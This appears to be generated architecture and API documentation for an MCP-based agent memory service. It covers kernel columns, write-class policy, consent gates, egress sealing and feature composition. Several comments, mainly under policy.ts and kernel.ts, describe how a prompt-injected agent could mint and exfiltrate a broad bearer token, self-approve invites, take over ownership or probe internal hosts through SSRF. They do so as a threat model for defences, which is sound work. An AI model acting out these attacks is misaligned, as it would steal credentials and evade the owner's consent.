This is a dependency-free leaf (no imports) so it can be referenced from the schema/DDL layer, the data engine, the evolution engine, and the DO kernel without introducing an import cycle. Every call site that needs "the kernel columns" — or a named slice of them — references this module instead of re-listing the literals. Subsets are DERIVED from the master list (filter), never re-listed, so the slices can't drift from the source of truth.

The ordering is canonical (matches the agent-facing schema display and the integrity check): id, version, then the timestamp + attribution columns.

KERNEL_COLUMNSconst

The full kernel column set, in canonical order. The source of truth.

KERNEL_COLUMN_SETconst

Membership set over the full kernel column list.

USER_OVERRIDABLE_KERNEL_COLUMNSconst

Kernel columns a user MAY redefine as a facet. version alone: create_pattern's apply detects a user version facet and SKIPS the kernel default column, so a pattern can carry user-meaningful version semantics (e.g. semver on packages) instead of the kernel auto-increment. Every OTHER kernel column is added unconditionally — a same-named facet would be a duplicate column (a CREATE/ALTER DDL error), so they MUST be reserved. This set is the SINGLE home for "which kernel columns are overridable"; the facet reservation below derives from it (and create_pattern's skip references it), so the two can't disagree about which column is special.

FACET_RESERVED_COLUMNSconst

Facet-name reservation (evolution.ts validateFacets — the chokepoint for BOTH create_pattern and add_facet): a proposed facet may not be named after a kernel column it would COLLIDE with — i.e. every kernel column EXCEPT the user-overridable ones. DERIVED from the two sets above, never hand-listed, so it can't under-cover. The historical bug was a hand-narrowed subset that omitted created_by/updated_by (which are NOT overridable → must be reserved) AND version (which IS). Splitting "overridable" out as its own declaration fixes both: reserved ∪ overridable = KERNEL_COLUMNS, and adding a kernel column auto-reserves it unless explicitly declared overridable. The facet-kernel-collision totality oracle iterates THIS set (each rejected) and the complement (each overridable allowed) — both halves checked, so the partition can't silently drift.

CALLER_EXCLUDED_ON_CREATEconst

Columns excluded from the caller-supplied field set on CREATE (data.ts): id is autoincrement, the timestamps + attribution are system-managed. version is not in this set because callers never supply it on create either (it's the kernel auto-increment), and excluding it here would be redundant — preserved as master-minus-version.

STRUCTURAL_KERNEL_COLUMNSconst

Columns skipped during facet validation / shown as the kernel column list in the agent-facing schema (data.ts SKIP_KEYS + hive.ts schema display): every auto-provided structural column except the attribution columns, which are not surfaced as schema and were already stripped upstream by executeMutate.

kernel.tsentities/Hive/kernel.ts

Kernel pattern pre-mutation rules

Declarative hooks that validate and transform data before the generic INSERT/UPDATE/ARCHIVE logic in store.ts runs. Each kernel table's special behavior is visible in one place.

why

Declarative pre-mutation hooks so each kernel table's special behavior lives in one visible place. IMMUTABLE / IMMUTABLE_AFTER_CREATE and the register-scope memberActive guard are defense-in-depth against specific attacks: an agent self-approving an invite (approved_at immutable), repointing a token's target after mint, or escalating an invite into owner-takeover. "Which patterns the system writes" and "which are valid ingress/upload targets" are intentionally NOT defined here — they derive from policy.ts so the boundary cannot drift between layers.

Hooks for a FEATURE's own kernel pattern live in that feature's <dir>/hooks.ts (a feature owns its pattern's hooks, the same way it owns the pattern's schema + security). The EXPORTED ON_CREATE / ON_WRITE / IMMUTABLE here are mergeDisjoint(CORE_, compose(FEATURES)) — CORE infra hooks plus each feature's own, composed at module load. ENFORCEMENT does NOT move: applyKernelRules (this file, the one chokepoint every mutate runs through) reads the composed maps, so a feature hook fires byte-for-byte as a core one. The feature hooks.ts files import ONLY TYPES from this file, so the compose back-edge is type-only (no runtime cycle), and mergeDisjoint throws if a feature shadows a CORE pattern's hook.

KernelContextinterface
memberActive()method

An active, non-archived member with this label exists in the roster.

entryField()method

Read one column of one entry — used to resolve a row's existing values when a partial update doesn't carry them (e.g. a _views config edit that omits the target pattern). Returns null if the row/column is absent.

ImmutableRuleinterface

The shape of an IMMUTABLE / IMMUTABLE_AFTER_CREATE registry row. Exported so a feature can declare its pattern's immutable fields (in its own hooks.ts) against the same shape kernel.ts composes back in.

IMMUTABLE_AFTER_CREATEconst

=== Immutable-after-create fields — set once at create, frozen thereafter ===

Distinct from IMMUTABLE (rejected on every op): these define a token's capability and are validated by the create hook, but must never be repointed by a later update/unarchive. Freezing scope/member/constraints/token closes the defense-in-depth gap where an update could repoint an existing token (e.g. to a different member) without re-passing the create-time validation.

_inputs()method
_links()method
_shared()method
WriteHooktype

=== Write hooks — validate on create AND update (not just create) ===

For kernel tables whose payload must stay valid through edits, not only at birth. _views is the case: an agent authors a view, then refines its config — both must validate against the view palette (the SSOT in view-palette.ts), so a malformed or facet-missing spec is refused at the mutate chokepoint rather than silently degrading in the renderer.

_views()method
Shortcutinterface
expandShortcutfunction

Expand a shortcut name to pattern + operation, or return null if not a shortcut.

normalizeHostfunction

Normalize a federation host: lowercase, strip scheme and any path.

isBlockedFederationHostfunction

True if a federation target points at a loopback, private, link-local, or internal-only host. Such hosts can never be added to the allow-list and are refused at resolve time - defense against SSRF and against an agent acting on prompt-injected content probing internal infrastructure or cloud metadata.

The host is normalized through the same URL parser fetch() uses, so the check operates on the exact host the network stack will contact (handles userinfo, ports, IPv4 in any base, IPv6 brackets, case). Anything unparseable as a host fails closed (blocked). A public hostname whose DNS resolves to a private IP cannot be caught here (no DNS API on Workers); that residual is covered by the federation consent allow-list and per-hop redirect re-validation.

scopeMatchesfunction

Check if tokenScope grants access for requiredScope. Hierarchical prefix match with : boundary.

immutableFieldErrorfunction

The immutability error for editing a single named facet on an existing entry, or null if the facet is freely editable. Covers both IMMUTABLE (rejected on any op) and IMMUTABLE_AFTER_CREATE (frozen after create). Used by the patch path, which edits one facet by name and so can't rely on applyKernelRules' top-level-key scan.

labels.tsentities/Hive/labels.ts

Single source of truth for "what does this entry look like as a string."

Used by both the backend (so /api/index can include a stable label) and the React frontend. If the algorithm ever needs to evolve, change it here once.

why

One deriveLabel so the backend (/api/index) and the React frontend render an entry's label identically. The label is computed everywhere it's needed, never persisted, per data-is-destiny (store truth once, derive its consequences) — one algorithm, one place to evolve it.

LabelFacetinterface
deriveLabelfunction

Derive a human-readable label for an entry. Returns the unbounded string; callers truncate to fit their UI.

Priority: 1. First non-empty value among LABEL_KEYS (name, title, label, key, context). 2. First text-type facet's value. 3. Falls back to "#{id}" if neither is available.

truncatefunction

Truncate a string to max chars, appending an ellipsis if truncated.

mutate-gate.tsentities/Hive/mutate-gate.ts

Mutate-gate decisions — the pure, transport-agnostic predicates that decide what gate a write must clear, factored out of the MCP mutate handler so the decision can't drift from the place it's enforced.

why

The agent-facing WRITE surface exists on two transports: the MCP mutate tool (entities/Session/session.ts) and the browser-authenticated /api/mutate (shared/Routing/routes/pages.ts). The gate decisions — "is this op consent- gated and which way," "may this op ride inside a batch," "is this loosely-typed data actually an object" — were inline imperative branches in session.ts. That is the real drift vector the memory warns about ("/api+RPC tests pass while MCP breaks via the Zod/consent layer"): a future edit to the batch rule or the consent condition touches only session.ts, with no tested home to anchor it.

These functions are PURE derivations of policy.ts (the write-class SSOT) — no I/O, no round-trip mechanics. The interactive consent round-trip itself (checkAndArmConsent + re-issue) stays in session.ts because only the MCP path can satisfy it; this module decides WHETHER it fires, not how. /api stays owner-implicit (a logged-in human IS the consent) and does not consult these decisions today — it receives parsed, single-op JSON and is intentionally ungated. The win is not that both transports call this, but that the gate decisions now have ONE tested home (a pure leaf over policy.ts) instead of inline branches: an edit to the batch rule or consent condition is anchored by a unit test, so an MCP-only regression can't slip past /api-based tests. If /api ever needs the same validation, it adopts these — without a second copy existing.

normalizeMutateDatafunction

Parse a possibly-JSON-stringified value; non-strings and unparseable strings pass through unchanged (the caller's shape check then rejects bad input).

isSingleOpDatafunction

True when data is a usable single-op payload (a plain object, not an array). The shape both transports require before handing data to the engine.

mutateGatefunction

Decide which gate a single mutate op must clear, purely from policy.ts. The MCP handler drives the round-trip mechanics off this; the engine independently enforces write-class, so this is the consent layer's single decision point.

BatchOpinterface
findGatedBatchOpfunction

The first op in a batch that may NOT ride inside it, or null if all are eligible. Consent-gated escalations and patches on gated patterns must go through a single mutate (a batch would skip the round-trip / kernel hooks); archive (de-escalation) is allowed. Pure derivation of policy.ts — the batch rule has one home, not an inline .find in the handler.

policy.tsentities/Hive/policy.ts

Write-class policy — the single source of truth for "which patterns can agents write, through which path, and what gate fires."

This question was previously answered hole-by-hole: a CONSENT_GATED dict in the session layer, an INTERNAL_WRITE_PROTECTED set in the data layer, and eleven independent startsWith("_") checks scattered across kernel/data/hive/ evolution/prime. Each was a separate map of the same territory, and a missed cell was a security hole (see the set_sharing, patch-bypass, ingress/upload, and register-token findings).

Here the territory is modeled once. Every pattern has a WriteClass; every gate (consent round-trip, batch exclusion, ingress/upload eligibility, schema- evolution restriction, prime inclusion) is a pure derivation of it. A kernel pattern with no declared class fails CLOSED (System — denied) so a newly added kernel pattern can never silently default to agent-writable through every path.

This module is a leaf: it imports nothing from the enforcement layers, so they can all derive from it without cycles. The ONE import it does carry — the feature-security barrel (entities/features/security.ts) — is itself pure DATA + TYPES (each feature's */security.ts imports only import type from here), so the leaf property holds: no enforcement-layer code, no runtime cycle. (It deliberately does NOT import a feature manifest.ts; those carry code.)

why

That question was previously answered hole-by-hole across three layers plus eleven scattered startsWith("_") checks, and every missed cell was a security hole (set_sharing ungated, the patch-bypass, ingress/upload targeting kernel patterns, register-token takeover). Unclassified kernel patterns fail CLOSED (System → denied) so a new kernel pattern can never silently default to agent-writable; the module is a dependency-free leaf so every enforcement layer derives from it without cycles; write-class is computed at read time, never persisted, to avoid denormalizing the constant.

ConsentPolicyinterface
KernelPolicyinterface
isKernelPatternfunction

The _ namespace is reserved for the kernel (create_pattern refuses it), so a leading underscore is the exact, single definition of "kernel pattern."

writeClassfunction

The write class of any pattern. Unclassified kernel patterns fail CLOSED (System) — a new _ table added without a policy row is denied, not opened.

isInternalWriteProtectedfunction

True for patterns the system manages itself — denied at the mutate engine.

isValidWriteTargetfunction

True only for User-class patterns: the sole valid ingress/upload write target. Every kernel pattern — gated, open, or system — is refused, because HTTP write paths bypass the MCP consent layer and must never reach the kernel surface.

consentPolicyfunction

Consent configuration for a pattern, or null if it carries none.

primeIncludedfunction

True if this kernel pattern is surfaced in prime recall (most are excluded).

isAuditExemptfunction

True if this pattern is exempt from audit triggers (append-only logs).

SensitivityKindtype

=== Egress sensitivity: the read/serialization dual of KERNEL_WRITE_POLICY ===

"Sensitive" is a property of DATA (a column), but it used to be enforced per EGRESS path (mutate response, /ws delta, audit trigger, query, export, served reads) — so a new egress kept reintroducing the leak. This is the one declarative home: which columns must never leave the DO in the clear. - secret: born-hashed. The preimage is generated in app code and returned ONCE at mint; only its digest is ever stored — so the audit trigger, the broadcast, and any read see a hash, not a usable bearer. Also stripped by seal from every serialized row (belt-and-suspenders). - redact: never serialized off the DO at all (stripped by seal); the data plane has no legitimate need for it. Broadcast, audit, export, and served reads all derive from this, so adding a new secret column protects every egress at once. Two oracles fail loud on a gap: verifyEgressTotality (the DECLARED-domain totality — every column a feature declares survives into the composed registry) and findUnclassifiedSensitiveColumns (the complementary name heuristic — a secret-NAMED column with no policy at all).

SENSITIVE_COLUMNSconst

The EFFECTIVE sensitivity registry: CORE columns + each feature's own. Every egress (seal/sealAll, the audit trigger, export) and the egress totality oracle (findUnclassifiedSensitiveColumns) read THIS composed map, so a feature's redacted/secret columns inherit every egress + the loud-fail oracle unchanged.

secretColumnfunction

The single secret (born-hashed) column for a pattern, or null.

sealfunction

Strip sensitive columns from a row about to leave the DO — the one sieve every egress routes through (broadcast, export, served read, mutate response). Shallow copy; null/undefined passes through.

sealAllfunction

seal a list of rows — the sanctioned form for any served path emitting many rows, so no caller hand-rolls .map(seal) and forgets the pattern arg.

verifyEgressTotalityfunction

EGRESS TOTALITY over the DECLARED domain — the read/serialization dual of verifyWritePolicyTotality. Where the write check walks the live KERNEL_TABLES, this walks the live FEATURE_SECURITY registry (via FEATURE_DECLARED_SENSITIVE): every sensitive column ANY feature declares MUST survive into the composed, effective SENSITIVE_COLUMNS. This catches the exact bug the old two-hand-list barrel allowed — a feature's sensitiveColumns silently dropped from the composition (so it inherited no seal/audit/export redaction) while its write policy still wired. A gap here means a declared redact/secret column would leak. Code-vs-code (FEATURE_SECURITY vs the composed SENSITIVE_COLUMNS) — no DB needed.

findUngatedCredentialMintsfunction

CREDENTIAL-MINT GATING TOTALITY — the consent dual of egress totality, derived from SENSITIVE_COLUMNS × KERNEL_WRITE_POLICY (no new declaration). A pattern with a secret column mints a born-hashed BEARER on every create — i.e. creating a row hands out a portable, exfiltratable credential. So its create MUST be gated: either System (never agent-writable) or Consent with a create-gating condition. The patch_only condition is PROVABLY WRONG for a credential-minter — it declares create benign while create is the dangerous op — and an Open class is worse (an injected agent mints freely). This is the exact bug that shipped _access_tokens as patch_only: an agent could mint + exfiltrate a broad/* bearer with no human round-trip. Fail-closed: a secret-minting pattern whose create isn't gated fails the build, so the misclassification is unexpressible.

patchRejectedfunction

True if patch must be rejected for this pattern (any consent-gated pattern — patch skips the kernel validation hooks and the confirmation round-trip).

consentRoundTripRequiredfunction

Whether an escalating create/update/unarchive needs the confirmation round-trip, given the data being written (for on_expose visibility checks). patch_only patterns never round-trip; patch is handled by patchRejected.

isBroadTokenScopefunction

A token scope is BROAD if minting it hands out a portable credential that grants a whole CLASS of resources (via the scopeMatches prefix rule) or full access — the kind an injected agent could mint and exfiltrate. Narrow target-bound and inert-until-approval scopes are benign (the frequent legit flows). Unknown shapes fail CLOSED (broad). Used by the on_broad_token consent condition.

prime.tsentities/Hive/prime.ts

Auto-associative priming layer

Partial cue → full constellation. Embeds entries on write via Workers AI, queries Vectorize for semantic nearest neighbors, follows links one hop.

Pure functions with env/db injected. HiveDO wires the lifecycle.

why

Which kernel patterns participate in recall is not a local hand-maintained set — primeIncluded derives from the policy.ts registry, because the former invisible KERNEL_INCLUDE set had no totality check and a renamed pattern would silently drop out of recall. Decay and the stale view derive from _entry_access_log (recall is rehearsal — a prime hit refreshes the decay clock), never from a stored counter, per data-is-destiny.

binds VECTORIZE, AI
PrimeContextinterface
PrimeResultinterface
MemoryPolicyinterface
getPatternClassfunction

A pattern's class: "knowledge" (default — recalled by meaning) or "dataset" (structured records aggregated by computation, exempt from the memory machinery).

getMemoryPolicyfunction

Read a pattern's memory policy from _objects, applying opinionated defaults.

decayMultiplierfunction

Recall-weight multiplier: halves per half-life elapsed, floored so old-but-relevant survives.

buildEmbedTextfunction

Build embeddable text from an entry's text/select facets.

embedEntryfunction

Embed an entry and upsert its vector. Fire-and-forget safe. A precomputed vector (e.g. from the write-time conflict check) skips the AI call.

NeighborMatchinterface
findNeighborsfunction

Find same-pattern semantic neighbors of not-yet-written entry data. Returns matches ≥ CONFLICT_SIMILARITY plus the computed vector (reusable for the post-write upsert, avoiding a second AI call). Best-effort: any failure returns empty with no vector.

removeEntryfunction

Remove a vector when an entry is archived.

primefunction

Prime: partial cue activates a full constellation.

parseDbDatefunction

SQLite datetime('now') emits "YYYY-MM-DD HH:MM:SS" in UTC with no zone marker — parse as UTC.

followLinksfunction

Follow foreign key links one hop from an entry.

reports.tsentities/Hive/reports.ts

reports.ts — read-orchestration reporting, evicted from HiveDO.

These are pure read+format builders for agent-facing JSON/markdown: recent activity, the maintenance-status nag, the stale-review surface, the system-doc readers, and the instance/storage doc. None of them write, none are a security boundary (they run in the owner/trusted DO context and only SELECT), and none are bound to the DO lifecycle/websocket — so they decompose cleanly out of the kernel shell.

ReportsContext is deliberately narrow. Raw db is acceptable here (every read is owner-context and read-only), but the bits that DO need DO state — the host (currentHost, which reads the live Host header / WORKER_HOST off the DO instance) and patternClass/errorJson (already-bound helpers) — are injected as functions so this module never reaches back into this. The DO keeps thin RPC wrappers with identical signatures; this holds the logic.

StoreIndexinterface
getCurrentIndexfunction

The structural index: schema + charter + facet metadata, entry counts zeroed. Pure structure — getIndex enriches it with live counts/activity. Also handed to the evolution previewer (which mutates a copy to show a proposed change).

getIndexfunction

The agent-facing master index: the structural index enriched with live entry counts + latest activity (computed per call, never stored — data is destiny), sorted by recency, plus agent-authored view/page specs.

getRecentActivityfunction

Most recently modified entries across all non-kernel patterns, summarized from each pattern's first text/select facet.

getSystemDocfunction
schema.tsentities/Hive/schema.ts

Database initialization

Table definitions, migrations, kernel pattern registration, and system doc seeding. Called once per HiveDO construction via blockConcurrencyWhile.

Kernel tables are defined declaratively: DDL + description + facets co-located. Internal tables (not exposed to agents) are plain DDL.

why

Kernel tables are declared once (DDL + description + facets co-located) so the surface is visible by scanning one array, and re-registered into _objects/_fields on every boot so an existing install's kernel docs track the code on deploy. Boot runs two loud integrity checks — verifyFieldsIntegrity (DDL vs _fields drift) and verifyWritePolicyTotality (every kernel table has a write-class) — that warn rather than throw, because a degraded boot is recoverable but a refusing one is not. Migrations are an append-only procedural pile by necessity: point-in-time history is not derivable.

KERNEL_TABLESconst

The EXPORTED kernel surface: CORE infra patterns + each feature's own pattern structure (DDL/facets/index), composed from the pure-data feature schema modules via the FEATURES barrel. composePatterns asserts no two features declare the same pattern name (a feature↔core name clash is caught by policy.ts's mergeDisjoint at module load). Everything downstream — the boot DDL loop, _fields seeding, verifyFieldsIntegrity, verifyWritePolicyTotality, and the security tests that iterate KERNEL_TABLES — reads THIS composed array, so a feature pattern is indistinguishable from a core one and the DDL↔_fields drift oracle stays green.

verifyWritePolicyTotalityfunction

=== Integrity check: write-class policy totality ===

Every agent-facing kernel pattern must declare a write class in policy.ts. writeClass() fails CLOSED (System — denied) for any unclassified _ pattern, so a newly added kernel table is safe by default — but silently un-writable is a bug, not a feature. This warns loudly at boot so a missing classification is caught the moment the table ships, not when a reviewer finds the next hole. Code-vs-code (KERNEL_TABLES vs KERNEL_WRITE_POLICY) — no DB needed; exported so the admission-matrix test asserts it statically too.

ensureAuditTriggersfunction

Audit exemption (high-frequency append-only logs whose change history is the data itself — auditing them would just churn the bounded _mutation_log) is a per-pattern behavior declared in the policy registry (policy.ts), alongside write class, so it's covered by the same boot-time totality check.

served.tsentities/Hive/served.ts

served.ts — the untrusted served reader. ALL served public reads live here.

This module is the single home for every public, unauthenticated, edge-cacheable read Mnemion exposes: agent-authored public pages (HTML + an OG chart card), shared entries (/o/entry), agent-defined outputs (/o), publications (/p), and the input-endpoint visibility probe (/i). Its ONLY user-pattern data access is servedQuery — the untrusted reader, which refuses kernel patterns at the engine (data.ts query()'s !ctx.trusted check). ServedContext deliberately exposes nothing else that could reach arbitrary kernel data: no db, no owner/trusted context, no way to construct one. The kernel-CONFIG rows these readers legitimately need (a _shared visibility, a _publications/_outputs/ _inputs config row, supersession ids, facet metadata) are reached only through NARROW bound lookups the DO provides — each returning ONLY that specific answer, never an arbitrary kernel row — exactly as federation.ts gets a bound isHostAllowed and never db. That is the point of the eviction: a served sink that physically cannot read a kernel pattern, and cannot reach db to try. Everything else is a PURE helper imported directly (chart SVG/spec, XSS escape, the page CSS, the publication renderer, seal/sealAll). The DO keeps thin RPC stubs that build the context and delegate; this holds the logic.

PublicationConfiginterface

A _publications config row plus the projection params the served read needs. Returned WHOLE only for the public publication path; it carries no secret column (publications are agent-authored projection config, never credential-bearing).

ServedContextinterface
getSharedEntryfunction

Serve a single entry marked public/unlisted in _shared. The user-pattern entry read goes through servedQuery — the kernel-refusing chokepoint — so there is NO hand-rolled isKernelPattern guard here: a kernel pattern reads back empty at the engine (data.ts query()'s !trusted check), exactly as a kernel-named page block does. servedQuery also refuses a non-existent pattern and BINDS the id (no SQL-identifier injection), so the old patternExists + Number.isInteger(id) checks survive only as a clean early not-found, never as the security gate. The sharing visibility is a kernel-config lookup the DO owns (sharingVisibility), so served.ts never touches _shared directly. seal strips any sensitive column before the entry leaves over this public route.

resolvePublicationfunction

Render a live publication projection. The source query runs through servedQuery (refuses a kernel source), rows are sealed, superseded entries drop out (via the DO's narrow supersededIds lookup), and the publication is rendered by the pubs adapter with DO-supplied facet metadata + host.

resolveOutputfunction

Serve agent-constructed content at an arbitrary path. The _outputs row IS the answer (content + mime + visibility), reached through the DO's narrow lookup — no user-pattern read involved.

getInputVisibilityfunction

Report an input endpoint's visibility (the route layer gates token access on it). Not-found when no active endpoint exists at path.

transform.tsentities/Hive/transform.ts

Transform DSL for ingress field mapping. Expressions: dot.path | transform arg | transform arg Resolvers: foo.bar, $header.X-Name, $query.param, $body, $now, "literal" Transforms: truncate N, lower, upper, default "value", json, join ", "

why

A tiny declarative DSL for ingress field mapping so an _inputs endpoint can shape arbitrary inbound payloads into pattern facets without code — the mapping is data on the endpoint, evaluated at request time. Resolvers and transforms are a closed, side-effect-free set so an agent-authored mapping can't reach beyond the request envelope.

evaluateExpressionfunction

Evaluate a single DSL expression against a context.

evaluateMappingfunction

Evaluate a field mapping (object of field→expression) against a context.

Sessionclaimed
The per-session McpAgent Durable Object that speaks the MCP protocol and proxies tool calls to the hive over RPC.
why

SessionDO is one Durable Object per MCP session: it handles the MCP protocol (tools, resources, init instructions) and proxies to the single HiveDO over RPC, keeping protocol concerns out of the data substrate. Tool metadata lives once in tools.ts as the SSOT feeding both MCP registration and the /api/tools frontend, so the agent-facing surface can't drift between the two. That "can't drift" is enforced, not asserted: the tools SSOT totality test statically reconciles every .tool(/.registerTool( call in session.ts against the TOOLS rows in both directions — a tool registered inline without a row (as render once was, making it a live MCP tool invisible to /api/tools) or a stale row with no registration fails the build. The session stamps the authenticated actor onto writes from its OAuth props so attribution is enforced at the protocol edge.

works when
session.ts exists at this node fast
session.ts imports agents/mcp fast
tools.ts exists at this node fast
session.ts imports ./tools fast
boundary "tool-registry SSOT totality" at TOOLS via test "tools SSOT totality" fast
session.tsentities/Session/session.ts

SessionDO — one McpAgent Durable Object per MCP session.

why

It handles the MCP protocol (tools, resources, init instructions) and proxies to the single HiveDO over RPC, keeping protocol concerns out of the data substrate. The consent round-trip lives here, not in the engine, because it needs an interactive re-issue only the MCP path can satisfy — but whether a write is gated derives from policy.ts (consentPolicy/consentRoundTripRequired/patchRejected) so the boundary can't drift from the engine's. The session stamps the authenticated actor from its OAuth props onto every write so attribution is enforced at the protocol edge.

imports agents/mcp, @modelcontextprotocol/sdk/server/mcp.js, zod
getHive()method
init()method
tools.tsentities/Session/tools.ts

Tool metadata — single source of truth for MCP registration and frontend display.

session.ts imports these for McpServer.tool() calls. /api/tools serves them to the web frontend.

why

Tool metadata lives once here as the SSOT feeding both McpServer.tool() registration and the /api/tools frontend, so the agent-facing surface can't drift between the protocol and the UI. New capability comes from patterns and entries, not new tools — the set stays deliberately small.

ToolMetainterface
TOOLSconst
Featuresclaimed
Per-feature manifests that FEED the scattered registries from one declaration; composers derive each registry from the `FEATURES` array.
why

A "feature" is the extensibility keystone, and today its footprint is smeared across registries a forker's agent must find and edit in lockstep: post-mutate effects (entities/Hive/effects.ts), HTTP routes (src/index.ts), MCP tools (entities/Session/tools.ts), kernel patterns + DDL (entities/Hive/schema.ts), write-policy class (entities/Hive/policy.ts), system docs, and the coherence spec. The Feature type collects all of those contributions into ONE co-located, typed declaration; the composers in compose.ts DERIVE each registry from the hand-maintained FEATURES barrel (index.ts). Adding a feature is then: create one dir + add one import line to the barrel — its whole footprint legible in the manifest instead of scattered.

effects was the first registry wired end-to-end; routes is the second: PATTERN_EFFECTS in effects.ts is composeEffects(FEATURES), and the route table in src/index.ts is [...CORE_ROUTES, ...composeRoutes(FEATURES)] rather than one hand-written literal. The documents feature owns its /f/ upload + serve edges and the pages feature owns its /page/ serve + OG edges, declared in their manifests (handlers still imported from the I/O adapter layer, shared/Routing/routes/io.ts — the manifest declares the routing rows, not the handler bodies). So a new side-effecting pattern, or a new HTTP edge for these features, is a feature manifest — not another entry in a central map.

Route ORDER is load-bearing and preserved: the router matches in declaration order (first match wins), and feature routes are appended AFTER CORE_ROUTES, so a feature route can never shadow a core route. The moved patterns (/f/..., /page/...) share no prefix with any retained core route (/o/, /p/, /marketplace*, etc.), so the move changes no match outcome — confirmed by the route/document/page tests staying green. Each route's backendPrefix travels with its declaration into BACKEND_PREFIXES, so a moved route's SPA-fallback exclusion is derived from the manifest, not re-hardcoded in src/index.ts.

Patterns + migrations are the third and fourth registries wired end-to-end: each feature owns its PATTERN STRUCTURE — the kernel-pattern DDL/facets/index and any feature-specific schema migration — as PURE DATA in its dir (<name>/schema.ts, type-only imports, no manifest code), and schema.ts builds KERNEL_TABLES = [...CORE_KERNEL_TABLES, ...composePatterns(FEATURES)] while its boot migration pile gains a tail loop over composeMigrations(FEATURES). The documents feature owns the _documents table + its v12 extraction-columns migration; the pages feature owns the _pages table + path index. The move is byte-identical: every consumer of KERNEL_TABLES (the boot DDL loop, _fields seeding, the audit triggers, and crucially verifyFieldsIntegrity — the DDL↔_fields drift oracle — plus verifyWritePolicyTotality) reads the COMPOSED array, so a feature pattern is indistinguishable from a core one and an existing hive sees no schema diff at boot. The feature schema.ts files stay PURE DATA so they share the leaf discipline of the */security.ts siblings (the structure half of "a feature owns its schema," beside the security half).

The kernel PRE-MUTATION HOOKS are the fifth registry, completing "a feature owns its kernel pattern": the _documents create validation (title required) + its system-managed immutable bookkeeping columns live in documents/hooks.ts, and the _pages write-time hook (URL-safe path + block-palette validation + the kernel-pattern exfil guard) lives in pages/hooks.ts. A feature declares these in its manifest's hooks slot; kernel.ts renames its hand-written literals to CORE_ON_CREATE/CORE_ON_WRITE/CORE_IMMUTABLE and derives the EXPORTED ON_CREATE/ON_WRITE/IMMUTABLE as mergeDisjoint(CORE_, compose(FEATURES)). ENFORCEMENT does NOT move — applyKernelRules (the one chokepoint every mutate runs through) reads the EXPORTED composed maps, so the validation fires byte-for-byte as before (confirmed by the document title/immutability + page block-exfil tests staying green); only the DECLARATION moves into the feature dir, exactly as effects compose into PATTERN_EFFECTS but fire at the mutate chokepoint. The hook bodies are code, so <dir>/hooks.ts imports ONLY TYPES from kernel.ts (the hook signature types + ImmutableRule shape) — type imports are erased at runtime, so the kernel.ts → FEATURES → manifest → hooks back-edge is type-only and adds NO runtime cycle (dpdm -T, which strips type-only edges, shows the same single pre-existing runtime cycle before and after). mergeDisjoint mirrors policy.ts: a feature hook for a CORE pattern throws at module load, so a feature can never silently override a core invariant.

Composition for effects/tools/writePolicy/routes runs at MODULE LOAD (static tables); patterns/migrations/systemDocs compose at BOOT (they touch the DB). The composers fail LOUDLY on collision (two features over one pattern's effect, a duplicate migration version, a route/tool/pattern name clash) rather than silently last-write-wins — a malformed manifest can't quietly shadow another feature; a feature↔core pattern-name clash is caught by policy.ts's mergeDisjoint at module load. The fail-CLOSED write-policy default is preserved: a feature pattern declared without a write-policy entry still resolves to System/denied, never silently agent-writable. System docs stay a single source (http-io.md spans egress/publications/documents/ingress, so it isn't split per-feature); the remaining registries (tools, systemDocs) keep ONE source of truth each until they adopt their composer (documented landing spots in compose.ts), so this migration adds the seam without duplicating definitions.

works when
feature.ts exists at this node fast
compose.ts exists at this node fast
index.ts exists at this node fast
compose.ts imports ./feature fast
index.ts imports ./feature fast
index.ts imports ./documents/manifest fast
index.ts imports ./pages/manifest fast
index.ts imports ./system-tasks/manifest fast
documents/manifest.ts imports ../../../shared/Routing/routes/io fast
pages/manifest.ts imports ../../../shared/Routing/routes/io fast
documents/schema.ts exists at this node fast
pages/schema.ts exists at this node fast
documents/manifest.ts imports ./schema fast
pages/manifest.ts imports ./schema fast
documents/hooks.ts exists at this node fast
pages/hooks.ts exists at this node fast
documents/manifest.ts imports ./hooks fast
pages/manifest.ts imports ./hooks fast
passes test "pattern-effects totality" fast
passes test "returns 503 from POST /f and 404 from GET /f when R2 is absent" fast
passes test "requires a title" fast
passes test "refuses agent-supplied blob bookkeeping" fast
passes test "refuses a page block that sources a kernel pattern" fast
compose.tsentities/features/compose.ts

compose.ts — the COMPOSERS: derive each scattered registry from the FEATURES array. One composer per registry. Most are LIVE: effects, patterns, migrations, routes, and the kernel hooks (onCreate/onWrite/immutable) are WIRED into their host files (see the per-composer comments for the exact host + call site); write-policy/egress-sensitivity compose in the security.ts barrel, not here, because policy.ts is a dependency-free leaf. The tools and system-docs composers are still DESIGNED (signatures present, no host imports them yet — wired once tools.ts / schema.ts adopt the array).

Composition runs at MODULE LOAD for static registries (effects, tools metadata) and at BOOT for stateful ones (patterns/DDL/migrations/system-docs, which touch the DB). See "WHERE EACH RUNS" in the per-composer comments.

Invariants the composers enforce (fail LOUDLY, never silently last-write-wins): - effects: a pattern may have an effect from at MOST one feature (collision → throw). Two features fighting over _documents's post-mutate hook is a bug. - migrations: version numbers are globally unique + monotonic. - patterns / tools / routes: name/path uniqueness across features.

composeEffectsfunction

Fold every feature's effects into the flat PATTERN_EFFECTS map. WHERE IT RUNS: module load of effects.ts (PATTERN_EFFECTS = composeEffects(FEATURES)). Pure, synchronous, no DB — safe at import time.

composeMigrationsfunction

MIGRATIONS. WIRED. HOST: schema.ts's boot migration pile gains a tail loop over composeMigrations(FEATURES). Core migrations are an append-only pile of idempotent (PRAGMA-guarded) ALTER blocks run on EVERY boot with no stored-version gate, so feature migrations run the same way — version is purely the global ordering + collision slot, not a run condition. WHERE IT RUNS: boot, after the kernel DDL loop + core migrations. Composer sorts by version and asserts version uniqueness across features so two features can't claim the same slot.

NOTE on feature-vs-CORE versions: the two share ONE version space BY DESIGN — a feature carved out of core keeps its historical version for idempotent ordering (e.g. documents owns v12, moved from the core pile). So there is no clean floor that separates them; CORE versions live in schema.ts (an un-importable procedural pile), so feature-vs-core uniqueness is the migration author's responsibility, the same as adding to the core pile. This composer enforces what it CAN see — feature-vs-feature uniqueness. (A FEATURE_MIGRATION_MIN floor was tried and reverted: it broke documents v12, which legitimately lives in the core range.)

ComposeRoutesOptionsinterface

Route-composition guardrails passed IN from src/index.ts (which owns the Auth enum and the CORE route table). Threaded as plain data so compose.ts stays dependency-light (no router-runtime import, no cycle).

composeRoutesfunction

